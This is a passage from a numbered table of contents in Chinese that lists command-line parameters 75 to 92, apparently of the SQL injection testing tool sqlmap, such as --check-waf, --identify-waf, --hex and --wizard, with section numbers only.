    75. 4.0.75. 参数:–fresh-queries
    76. 4.0.76. 参数:–hex
    77. 4.0.77. 参数:–output-dir
    78. 4.0.78. 参数:–parse-errors
    79. 4.0.79. 参数:-z
    80. 4.0.80. 参数:–alert
    81. 4.0.81. 参数:–answers
    82. 4.0.82. 参数:–beep
    83. 4.0.83. 参数:–check-waf
    84. 4.0.84. 参数:–cleanup
    85. 4.0.85. 参数:–disable-coloring
    86. 4.0.86. 参数:–gpage
    87. 4.0.87. 参数:-hpp
    88. 4.0.88. 参数:–identify-waf
    89. 4.0.89. 参数:–mobile
    90. 4.0.90. 参数:–purge-output
    91. 4.0.91. 参数:–smart
    92. 4.0.92. 参数:–wizard
,